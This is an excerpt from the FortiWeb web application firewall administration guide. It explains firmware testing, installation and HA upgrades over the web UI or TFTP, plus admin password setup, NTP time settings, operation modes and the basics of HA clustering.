Installing new firmware can overwrite attack signature packages using the versions of the packages that were current at the time that the firmware image was built. To avoid repeat updates, update the firmware **before** updating your FortiGuard packages.

New firmware can also introduce new features which you must configure for the first time.

For late-breaking information specific to the firmware release version, see the Release Notes available with that release.



In addition to major releases that contain new features, Fortinet releases patch releases that resolve specific issues without containing new features and/or changes to existing features. It is recommended to download and install patch releases as soon as they are available.



Before you can download firmware updates for your FortiWeb appliance, you must first register your FortiWeb appliance with Fortinet Technical Support. For details, go to <https://support.fortinet.com/> or contact Fortinet Technical Support.

See also

- [Testing new firmware before installing it](#)
- [Installing firmware](#)
- [Installing alternate firmware](#)

Testing new firmware before installing it

You can test a new firmware image by temporarily running it from memory, without saving it to disk. By keeping your existing firmware on disk, if the evaluation fails, you do not have to re-install your previous firmware. Instead, you can quickly revert to your existing firmware by simply rebooting the FortiWeb appliance.

To test a new firmware image

1. Download the firmware file from the Fortinet Technical Support web site:
<https://support.fortinet.com/>
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance.
For details, see [“Connecting to the web UI or CLI” on page 69](#).
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.

5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as `tftpd` ([Windows](#), [Mac OS X](#), or [Linux](#)) on your management computer.)



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.168.1.168
```

where 192.168.1.168 is the IP address of the TFTP server.

8. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

9. As the FortiWeb appliances starts, a series of system startup messages appear.

Press any key to display configuration menu.....

10. Immediately press a key to interrupt the system startup.



You have only three seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
```

Enter G,F,B,Q,or H:

Please connect TFTP server to Ethernet port "1".

11. Type G to get the firmware image from the TFTP server.

The following message appears:

```
Enter TFTP server address [192.168.1.168]:
```

12. Type the IP address of the TFTP server and press Enter.

The following message appears:

```
Enter local address [192.168.1.188]:
```

13. Type a temporary IP address that can be used by the FortiWeb appliance to connect to the TFTP server.

The following message appears:

```
Enter firmware image file name [image.out]:
```


14. Type the firmware image file name and press Enter.

The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:

```
MAC:00219B8F0D94
#####
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image..
Save as Default firmware/Backup firmware/Run image without
saving: [D/B/R]?
```



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.

15. Type R.

The FortiWeb image is loaded into memory and uses the current configuration, **without** saving the new firmware image to disk.

16. To verify that the new firmware image was loaded, log in to the CLI and type:

```
get system status
```

17. Test the new firmware image.

- If the new firmware image operates successfully, you can install it to disk, overwriting the existing firmware, using the procedure [“Installing firmware” on page 77](#).
- If the new firmware image does **not** operate successfully, reboot the FortiWeb appliance to discard the temporary firmware and resume operation using the existing firmware.

See also

- [Installing firmware](#)
- [Installing alternate firmware](#)

Installing firmware

You can use either the web UI or the CLI to upgrade or downgrade the appliance’s operating system.

Firmware changes are either:

- an update to a newer version
- a reversion to an earlier version

To determine if you are updating or reverting the firmware, go to *System > Status > Status* and in the *System Information* widget, see the *Firmware Version* row. (Alternatively, in the CLI, enter the command `get system status`.)

For example, if your current firmware version is:

```
FortiWeb-VM 4.32,build0531,111031
```

changing to

```
FortiWeb-VM 4.32,build0530,110929
```

an earlier build number (530) and date (110929 means September 29, 2011), indicates that you are reverting.



Back up **all** parts of your configuration before beginning this procedure. Some backup types do not include the full configuration. For full backup instructions, see “[Backups](#)” on page 204.

Reverting to an earlier firmware version could reset settings that are not compatible with the new firmware. For example, FortiWeb 5.0 configuration files are **not** compatible with previous firmware versions. If you later decide to downgrade to FortiWeb 4.4.6 or earlier, your FortiWeb appliance will lose its configuration. To restore the configuration, you will need a backup that is compatible with the older firmware.

For information on reconnecting to a FortiWeb appliance whose network interface configuration was reset, see “[Connecting to the web UI or CLI](#)” on page 69.



If you are installing a firmware version that requires a different size of system partition, you may be required to format the boot device before installing the firmware by re-imaging the boot device. Consult the *Release Notes*. In that case, do **not** install the firmware using this procedure. Instead, see “[Restoring firmware \(“clean install”\)](#)” on page 648.

To install firmware via the web UI

1. Download the firmware file from the Fortinet Technical Support web site:
<https://support.fortinet.com/>
2. Log in to the web UI of the FortiWeb appliance as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.



Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see “[Updating firmware on an HA pair](#)” on page 81.

3. Go to *System > Status > Status*.
4. In the *System Information* widget, in the *Firmware Version* row, click *Update*.

System Information	
Host Name	FortiWeb [Change]
Serial Number	FVVM020000003619
Operation Mode	Reverse Proxy [Change]
HA Status	Standalone [Configure]
System Time	Sun May 19 15:14:40 2013 [Change]
Firmware Version	FortiWeb-VM 5.00,build0009,130517 (Update)
System Uptime	0 day(s) 1 hour(s) 49 min(s)

The *Firmware Upgrade/Downgrade* dialog appears.

5. Click *Browse* to locate and select the firmware file that you want to install, then click *OK*.

6. Click **OK**.

Your management computer uploads the firmware image to the FortiWeb appliance. The FortiWeb appliance installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.



If you are **downgrading** the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature's default values for that version of the firmware. You may need to reconfigure some settings.

7. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all interface changes. For details, see your browser's documentation.

8. To verify that the firmware was successfully installed, log in to the web UI and go to *System > System > Status*.

In the *System Information* widget, the *Firmware Version* row indicates the currently installed firmware version.

9. If you want to install alternate firmware on the secondary partition, follow “[Installing alternate firmware](#)” on page 82.

10. Continue with “[Changing the “admin” account password](#)” on page 88.



Installing firmware replaces the current attack definitions with those included with the firmware release that you are installing. If you are updating or rearranging an existing deployment, after you install new firmware, make sure that your attack definitions are up-to-date. For more information, see “[Manually initiating update requests](#)” on page 142.

To install firmware via the CLI

1. Download the firmware file from the Fortinet Technical Support web site:

<https://support.fortinet.com/>

2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.



Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see “[Updating firmware on an HA pair](#)” on page 81.

3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.

For details, see “[Connecting to the web UI or CLI](#)” on page 69.

4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.

5. Copy the new firmware image file to the root directory of the TFTP server.

6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as `tftpd` ([Windows](#), [Mac OS X](#), or [Linux](#)) on your management computer.)



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.168.1.168
```

where 192.168.1.168 is the IP address of the TFTP server.

8. Enter the following command to download the firmware image from the TFTP server to the FortiWeb appliance:

```
execute restore image tftp <name_str> <tftp_ipv4>
```

where `<name_str>` is the name of the firmware image file and `<tftp_ipv4>` is the IP address of the TFTP server. For example, if the firmware image file name is `image.out` and the IP address of the TFTP server is 192.168.1.168, enter:

```
execute restore image tftp image.out 192.168.1.168
```

One of the following message appears:

```
This operation will replace the current firmware version!
```

```
Do you want to continue? (y/n)
```

or:

```
Get image from tftp server OK.
```

```
Check image OK.
```

```
This operation will downgrade the current firmware version!
```

```
Do you want to continue? (y/n)
```

9. Type `y`.

The FortiWeb appliance downloads the firmware image file from the TFTP server. The FortiWeb appliance installs the firmware and restarts:

```
MAC:00219B8F0D94
```

```
#####
```

```
Total 28385179 bytes data downloaded.
```

```
Verifying the integrity of the firmware image.
```

```
Save as Default firmware/Backup firmware/Run image without  
saving: [D/B/R]?
```



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.

The time required varies by the size of the file and the speed of your network connection.



If you are **downgrading** the firmware to a previous version, the FortiWeb appliance reverts the configuration to default values for that version of the firmware. You will need to reconfigure the FortiWeb appliance or restore the configuration file from a backup. For details, see [“Connecting to the web UI or CLI” on page 69](#) and, if you opt to restore the configuration, [“Restoring a previous configuration” on page 208](#).

10. To verify that the firmware was successfully installed, log in to the CLI and type:

```
get system status
```

The firmware version number is displayed.

11. If you want to install alternate firmware on the secondary partition, follow [“Installing alternate firmware” on page 82](#).

12. Continue with [“Changing the “admin” account password” on page 88](#).



Installing firmware replaces the current FortiGuard packages with those included with the firmware release that you are installing. If you are updating or rearranging an existing deployment, after you install new firmware, make sure that your attack definitions are up-to-date. For more information, see [“Manually initiating update requests” on page 142](#).

See also

- [Updating firmware on an HA pair](#)
- [Installing alternate firmware](#)
- [Manually initiating update requests](#)

Updating firmware on an HA pair

Installing firmware on an HA pair is similar to installing firmware on a single, standalone appliance.

To ensure minimal interruption of service to clients, use the following steps.



This update procedure is **only** valid for upgrading **from** FortiWeb 4.0 MR4 or newer.

If you are upgrading from FortiWeb 4.0 MR3, for example, the active appliance will **not** automatically send the new firmware to the standby; you must quickly connect to the standby and manually install the new firmware while the originally active appliance is upgrading and rebooting. Alternatively, switch the appliances out of HA mode, upgrade them individually, then switch them back into HA mode.



If **downgrading** to a previous version, do **not** use this procedure. The HA daemon on the standby appliance might detect that the main appliance has older firmware, and attempt to upgrade it to bring it into sync, undoing your downgrade.

Instead, switch out of HA, downgrade each appliance individually, then switch them back into HA mode.

To update the firmware of an HA pair

1. Verify that both of the members in the HA pair are powered on and available on **all** of the network interfaces that you have configured.



If required ports are not available, HA port monitoring could inadvertently trigger an additional failover and traffic interruption during the firmware update.

2. Log in to the web UI of the **primary** appliance as the `admin` administrator. (You cannot connect to an appliance while it is the standby.)
Alternatively, log on with an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.
3. Install the firmware on the primary appliance. For details, see [“Installing firmware” on page 77](#). When installing via the web UI, a message will appear after your web browser has uploaded the file:

`Sending the new firmware file to the standby. Please wait...`

The primary appliance will transmit the firmware file to the standby appliance over its HA link. The standby appliance will upgrade its firmware first; on the active appliance, this will be recorded in an event log message such as:

```
Member (FV-1KC3R111111111) left HA group
```

After the standby appliance reboots and indicates via the HA heartbeat that it is up again, the primary appliance will begin to update its own firmware. During that time, the standby appliance will temporarily become active and process your network's traffic. After the original appliance reboots, it indicates via the HA heartbeat that it is up again. Which appliance will assume the active role of traffic processing depends on your configuration (see [“How HA chooses the active appliance” on page 42](#)):

- If *Override* is **enabled**, the cluster will consider your *Device Priority* setting. Therefore both appliances usually make a second failover in order to resume their original roles.
- If *Override* is **disabled**, the cluster will consider uptime first. The original primary appliance will have a smaller uptime due to the order of reboots during the firmware upgrade. Therefore it will **not** resume its active role; instead, the standby will remain the new primary appliance. A second failover will **not** occur.

Reboot times vary by the appliance model, and also by differences between the original firmware and the firmware you are installing, which may require the installer to convert the configuration and/or disk partitioning schemes to be compatible with the new firmware version.

See also

- [Installing firmware](#)
- [Configuring a high availability \(HA\) FortiWeb cluster](#)

Installing alternate firmware

You can install alternate firmware which can be loaded from its separate partition if the primary firmware fails. This can be accomplished via the web UI or CLI.

To install alternate firmware via the web UI

1. Download the firmware file from the Fortinet Technical Support web site:
<https://support.fortinet.com/>
2. Log in to the web UI of the FortiWeb appliance as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.



Updating firmware on an HA pair requires some additions to the usual steps for a standalone appliance. For details, see “[Updating firmware on an HA pair](#)” on page 81.

3. Go to *System > Maintenance > Backup & Restore*.

System Configuration (Last Backup: -)

Backup/Restore

☒ Backup ☐ Restore

☒ Backup CLI entire configuration ☐ Backup Web Protection Profile related configuration

Encryption ☐

Password

Backup

Firmware

Partition	Active	Last Upgrade	Firmware Version	
1		Mon Oct 8 15:02:07 2012	FV-VMB-4.43-FW-build0657-120929	Upload and Reboot
2		-	FV-VMB-4.44-FW-build0663-121029	

Boot alternate firmware

Data Analytics

From File **Browse...**

Upload

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see “[Permissions](#)” on page 46.

4. In the *Firmware* area, in the row of the alternate partition, click *Upload and Reboot*.
The *Firmware Upgrade/Downgrade* dialog appears.
5. Click *Browse* to locate and select the firmware file that you want to install, then click *OK*.
6. Click *OK*.

Your management computer uploads the firmware image to the FortiWeb appliance. The FortiWeb appliance installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.



If you are **downgrading** the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature's default values for that version of the firmware. You may need to reconfigure some settings.

7. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all interface changes. For details, see your browser's documentation.

8. To verify that the firmware was successfully installed, log in to the web UI and go to *System > System > Status*.
In the *System Information* widget, the *Firmware Version* row indicates the currently installed firmware version.

To install alternate firmware via the CLI

1. Download the firmware file from the Fortinet Technical Support web site:
<https://support.fortinet.com/>
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.
For details, see “Connecting to the web UI or CLI” on page 69.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as `tftpd` (Windows, Mac OS X, or Linux) on your management computer.)



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.168.1.168
```

where 192.168.1.168 is the IP address of the TFTP server.

8. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

9. As the FortiWeb appliances starts, a series of system startup messages appear.

```
Press any key to display configuration menu.....
```

10. Immediately press a key to interrupt the system startup.



You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
```

Enter G, F, B, Q, or H:

Please connect TFTP server to Ethernet port "1".

11.Type G to get the firmware image from the TFTP server.

The following message appears:

Enter TFTP server address [192.168.1.168]:

12.Type the IP address of the TFTP server and press Enter.

The following message appears:

Enter local address [192.168.1.188]:

13.Type a temporary IP address that can be used by the FortiWeb appliance to connect to the TFTP server.

The following message appears:

Enter firmware image file name [image.out]:

14.Type the firmware image file name and press Enter.

The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:

```
MAC:00219B8F0D94
#####
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image.
Save as Default firmware/Backup firmware/Run image without
saving: [D/B/R]?
```



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.

15.Type B.

The FortiWeb appliance saves the backup firmware image and restarts. When the FortiWeb appliance reboots, it is running the primary firmware.

See also

- [Booting from the alternate partition](#)
- [Installing firmware](#)
- [Manually initiating update requests](#)

Booting from the alternate partition

System > Maintenance > Backup & Restore lists the firmware versions currently installed on your FortiWeb appliance.

Each appliance can have up to two firmware versions installed. Each firmware version is stored in a separate partition. The partition whose firmware is currently running is noted with a white check mark in a green circle in the *Active* column.

To boot into alternate firmware via the web UI

1. Install firmware onto the alternate partition (see [“Installing alternate firmware”](#) on page 82).

2. Go to *System > Maintenance > Backup & Restore*.

System Configuration (Last Backup: -)

Backup/Restore

☒ Backup ☐ Restore

☒ Backup CLI entire configuration ☐ Backup Web Protection Profile related configuration

Encryption ☐

Password

Backup

Firmware

Partition	Active	Last Upgrade	Firmware Version	
1		Mon Oct 8 15:02:07 2012	FV-VMB-4.43-FW-build0657-120929	[Upload and Reboot]
2		-	FV-VMB-4.44-FW-build0663-121029	

Boot alternate firmware

Data Analytics

From File **Browse...**

Upload

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see [“Permissions” on page 46](#).

3. In the *Firmware* area, click *Boot alternate firmware*.

A warning message appears.

4. Click *OK*.

A message appears instructing you to refresh your browser in a few minutes after the appliance has booted the other firmware.

To boot into alternate firmware via the local console CLI

1. Install firmware onto the alternate partition (see [“Installing alternate firmware” on page 82](#)).
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.

For details, see [“Connecting to the web UI or CLI” on page 69](#).

4. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

5. As the FortiWeb appliances starts, a series of system startup messages appear.

```
Press any key to display configuration menu.....
```

Immediately press a key to interrupt the system startup.



You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.  
[F]: Format boot device.  
[B]: Boot with backup firmware and set as default.  
[Q]: Quit menu and continue to boot with default firmware.  
[H]: Display this list of options.
```

Enter G,F,B,Q, or H:

Please connect TFTP server to Ethernet port "1".

6. Type B to reboot and use the backup firmware.

See also

- [Installing alternate firmware](#)

Changing the “admin” account password

The default administrator account, named `admin`, initially has no password.

Unlike other administrator accounts, the `admin` administrator account exists by default and cannot be deleted. The `admin` administrator account is similar to a root administrator account. This administrator account always has full permission to view and change all FortiWeb configuration options, including viewing and changing all other administrator accounts. Its name and permissions cannot be changed.

Before you connect the FortiWeb appliance to your overall network, you should configure the `admin` account with a password to prevent others from logging in to the FortiWeb and changing its configuration.



Set a strong password for the `admin` administrator account, and change the password regularly. Failure to maintain the password of the `admin` administrator account could compromise the security of your FortiWeb appliance. As such, it can constitute a violation of PCI DSS compliance and is against best practices. For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly. To check the strength of your password, you can use a utility such as [Microsoft's password strength meter](#).

To change the `admin` administrator password via the web UI

1. Go to *System > Admin > Administrators*.
2. In the row corresponding to the `admin` administrator account, mark its check box.
3. Click *Change Password*.
4. In the *Old Password* field, do not enter anything. (In its default state, there is no password for the `admin` account.)
5. In the *New Password* field, enter a password with sufficient complexity and number of characters to deter brute force and other attacks.
6. In the *Confirm Password* field, enter the new password again to confirm its spelling.
7. Click *OK*.
8. Click *Logout*.

The FortiWeb appliance logs you out. To continue using the web UI, you must log in again. The new password takes effect the next time that administrator account logs in.

To change the `admin` administrator password via the CLI

Enter the following commands:

```
config system admin
  edit admin
    set password <new-password_str> ''
  end
exit
```

where `<new-password_str>` is the password for the administrator account named `admin`.

The FortiWeb appliance logs you out. To continue working in the CLI, you must log in again using the new password. The new password will take effect only for newly initiated sessions in the CLI or web UI.

Setting the system time & date

You can either manually set the FortiWeb system time or configure the FortiWeb appliance to automatically keep its system time correct by synchronizing with a Network Time Protocol (NTP) server.



For many features to work, including scheduling, logging, and SSL/TLS-dependent features, the FortiWeb system time must be accurate.

To configure the system time via the web UI

1. Go to *System > Maintenance > System Time*.

The *Time Settings* dialog appears in a pop-up window.

Alternatively, go to *System > Status > Status*. In the *System Information* widget, in the *System Time* row, click *Change*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see [“Permissions” on page 46](#).

2. From *Time Zone*, select the time zone where the FortiWeb appliance is located.

- If you want FortiWeb to automatically synchronize its clock with an NTP server (recommended), configure these settings:

Setting name	Description
Synchronize with NTP Server	Select this option to automatically synchronize the date and time of the FortiWeb appliance's clock with an NTP server, then configure the Server and Sync Interval fields before you click <i>Apply</i> .
Server	Type the IP address or domain name of an NTP server or pool, such as <code>pool.ntp.org</code> . To find an NTP server that you can use, go to http://www.ntp.org .
Sync Interval	Enter how often in minutes the FortiWeb appliance should synchronize its time with the NTP server. For example, entering 1440 causes the FortiWeb appliance to synchronize its time once a day.



NTP requires that FortiWeb be able to connect to the Internet on UDP port 123.

Otherwise, select *Set Time*, then manually set the current date and time. If you want FortiWeb to automatically adjust its own clock when its time zone changes between daylight saving time (DST) and standard time, enable *Automatically adjust clock for daylight saving changes*. The clock will be initialized with your manually specified time when you click *OK*.

- Click *OK*.

If you manually configured the time, or if you enabled NTP and the NTP query for the current time **succeeds**, the new clock time should appear in *System time*. (If the query reply is slow, you may need to wait a couple of seconds, then click *Refresh* to update the display in *System time*.)

If the NTP query **fails**, the system clock will continue without adjustment. If FortiWeb's time was 3 hours late, for example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that your firewalls or routers do not block or proxy UDP port 123.

To configure NTP via the CLI

To synchronize with an NTP server, enter the following commands:

```
config system global
    set ntpsync enable
    set timezone <timezone_index>
    set ntpserver {<server_fqdn> | <server_ipv4>}
end
```

where:

- <timezone_index> is the index number of the time zone in which the FortiWeb appliance is located (to view the list of valid time zones and their associated index numbers, enter a question mark)
- {<server_fqdn> | <server_ipv4>} is a choice of either the IP address or fully qualified domain name (FQDN) of the NTP server, such as pool.ntp.org

If your NTP query **succeeds**, the new clock time should appear when you enter the command:

```
get system status
```

If the NTP query **fails**, the system clock will continue without adjustment. If FortiWeb's time was 3 hours late, for example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that your firewalls or routers do not block or proxy UDP port 123.

To manually set the date and time via the CLI

To manually configure the FortiWeb appliance's system time and disable the connection to an NTP server, enter the following commands:

```
config system global
    set ntpsync disable
    set timezone <timezone_index>
    set dst {enable | disable}
end
execute time <time_str>
execute date <date_str>
```

where:

- <timezone_index> is the index number of the time zone in which the FortiWeb appliance is located (to view the list of valid time zones and their associated index numbers, enter a question mark)
- dst {enable | disable} is a choice between enabling or disabling daylight saving time (DST) clock adjustments
- <time_str> is the time for the time zone in which the FortiWeb appliance is located according to a 24-hour clock, formatted as hh:mm:ss (hh is the hour, mm is the minute, and ss is the second)
- <date_str> is the date for the time zone in which the FortiWeb appliance is located, formatted as yyyy-mm-dd (yyyy is the year, mm is the month, and dd is the day)

See also

- [System Information widget](#)

Setting the operation mode

Once the FortiWeb appliance is mounted and powered on, you have physically connected the FortiWeb appliance to your overall network, and you have connected to either the FortiWeb appliance's web UI or CLI, you must configure the operation mode.

You will usually set the operation mode once, during installation or when using the Setup Wizard. Exceptions include if you install the FortiWeb appliance in offline protection mode for evaluation or transition purposes, before deciding to switch to another mode for more feature support in a permanent deployment. (See also [“Switching out of offline protection mode” on page 203.](#))



The physical topology **must** match the operation mode. For details, see [“Planning the network topology” on page 60](#) and [“How to choose the operation mode” on page 60.](#)

To configure the operation mode via the web UI



Back up your configuration before changing the operation mode. (See [“Backups” on page 204.](#)) Changing modes deletes any policies not applicable to the new mode, all static routes, V-zone IPs, TCP `SYN` flood protection settings, and VLANs. You also must re-cable your network topology to suit the operation mode, unless you are switching between the two transparent modes, which have similar network topology requirements.

1. Go to *System > Config > Operation*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *System Configuration* category. For details, see [“Permissions” on page 46.](#)


Alternatively, go to *System > Status > Status*, then, in the *System Information* widget, next to *Operation Mode*, click *Change*.

2. From *Operation Mode*, select one of the following modes:

- *Reverse Proxy*
- *Offline Protection*
- *True Transparent Proxy*
- *Transparent Inspection*


For details, see [“How to choose the operation mode” on page 60.](#)

Figure 15:Operation mode (reverse proxy)



Operation	
Operation Mode	Reverse Proxy
Apply	

Figure 16:Operation mode (true transparent proxy)



Operation	
Operation Mode	True Transparent Proxy
Management IP (bind to port1)	172.20.120.169/255.255.255.0
Default GateWay	0.0.0.0
Apply	

If you are changing to true transparent proxy or transparent inspection mode, also configure *Default Gateway* with the IP address of the next hop router, and configure *Management IP* with the IP address of port1.

3. Click *Apply*.
4. If you have not yet adjusted the physical topology to suit the new operation mode, see [“Planning the network topology” on page 60](#). You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers, and enable or disable SSL on your web servers.

To configure the operation mode via the CLI



Back up your configuration before changing the operation mode. (See [“Backups” on page 204](#).) Changing modes deletes any policies not applicable to the new mode, all static routes, V-zone IPs, and VLANs. You may also need to re-cable your network topology to suit the operation mode. Exceptions may include switching between the two transparent modes, which have similar network topology requirements.

1. Enter the following commands:

```
config system settings
    set opmode {offline-protection | reverse-proxy | transparent |
    transparent-inspection}
end
where {offline-protection | reverse-proxy | transparent |
transparent-inspection} is a choice between the available operation modes.
```

2. If you are changing to true transparent proxy or transparent inspection mode, also enter the following commands:

```
config system settings
    set gateway <gateway_ipv4>
end
```

where <gateway_ipv4> is the IP address of the gateway router (see [“Adding a gateway” on page 123](#)).

FortiWeb will use the `gateway` setting to create a corresponding static route under `config router static` with the first available index number. Packets will egress through `port1`, the hard-coded management network interface for the transparent operation modes.

3. If you have not yet adjusted the physical topology to suit the new operation mode, see [“Planning the network topology” on page 60](#). You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers, and enable or disable SSL/TLS on your web servers.

See also

- [Planning the network topology](#)
- [Configuring the network settings](#)
- [Adding a gateway](#)
- [Configuring a bridge \(V-zone\)](#)
- [Configuring virtual servers on your FortiWeb](#)
- [How operation mode affects server policy behavior](#)

Configuring a high availability (HA) FortiWeb cluster

By default, FortiWeb appliances are each a single, standalone appliance. They operate independently.

If you have purchased more than one, however, you can configure the FortiWeb appliances to form an **active-passive** high availability (HA) FortiWeb cluster. This improves availability so that you can achieve 99.999% service level agreement (SLA) uptimes regardless of, for example, hardware failure or maintenance periods.



If you have multiple FortiWeb appliances but do **not** need failover, you can still synchronize the configuration. This can be useful for cloned network environments and externally load-balanced active-active HA. See [“Replicating the configuration without FortiWeb HA \(external HA\)” on page 105](#).


HA requirements

- Two identical physical FortiWeb appliances (i.e., the same hardware model and firmware version (for example, both appliances could be a FortiWeb 3000C running FortiWeb 5.0))
- Redundant network topology: if the active appliance fails, physical network cabling and routes must be able to redirect web traffic to the standby appliance (see [“Topologies for high availability \(HA\) clustering” on page 67](#))
- At least one physical port on both HA appliances connected directly, via crossover cables, or through switches (see [“HA heartbeat & synchronization” on page 39](#))
- If using FortiWeb-VM, the license must be paid; trial licenses will not function



FortiWeb-VM supports HA. However, if you do not wish to use the native HA, you can use your hypervisor or VM environment manager to install your virtual appliances over a hardware cluster to improve availability. For example, VMware clusters can use vMotion or VMware HA.

Figure 17: HA topology and failover — IP address transfer to the new active appliance



For best fault tolerance, make sure that your topology is fully redundant, with no single points of failure.

For example, in [Figure 17](#), the switch, firewall, and Internet connection are all single points of failure. If any should fail, web sites would be unavailable, despite the HA cluster. To prevent this, you would add a dual ISP connection to separate service providers, preferably with their own redundant pathways upstream. You would also add a standby firewall, and a standby switch.

The style of FortiWeb HA is **active-passive**: one appliance is elected to be the active appliance (also called the primary, main, or master), applying the policies for all connections. The other is a passive standby (also called the secondary, or slave), which assumes the role of the active appliance and begins processing connections **only** if the active appliance fails.

The active and standby appliances detect failures by communicating through a heartbeat link that connects the two appliances in the HA pair. Failure is assumed when the active appliance is unresponsive to the heartbeat from the standby appliance for a configured amount of time:

$$\text{Heartbeat timeout} = \text{Detection Interval} \times \text{Heartbeat Lost Threshold}$$

If the active appliance fails, a failover occurs: the standby becomes active. To do this, the standby takes all IP addresses of the unresponsive appliance: it notifies the network via ARP to redirect traffic for that virtual MAC address (VMAC) to its own network interfaces. (In transparent modes, this includes the management IP. Additionally, at Layer 2, switches are notified that the VMAC is now connected to a different physical port. So even though in these modes the interfaces usually are transparent bridges without IPs, ARP traffic will still occur due to failover.)

Time required for traffic to be redirected to the new active appliance varies by your network's responsiveness to changeover notification and by your configuration:

$$\text{Total failover time} = \text{ARP Packet Numbers} \times \text{ARP Packet Interval} + \text{Network responsiveness} + \text{Heartbeat timeout}$$

For example, if:

- *Detection Interval* is 3 (i.e. 0.3 seconds)
- *Heartbeat Lost Threshold* is 2
- *ARP Packet Numbers* is 3
- *ARP Packet Interval* is 1
- Network switches etc. take 2 seconds to acknowledge and redirect traffic flow

then the total time between the first unacknowledged heartbeat and traffic redirection could be up to 5.6 seconds.

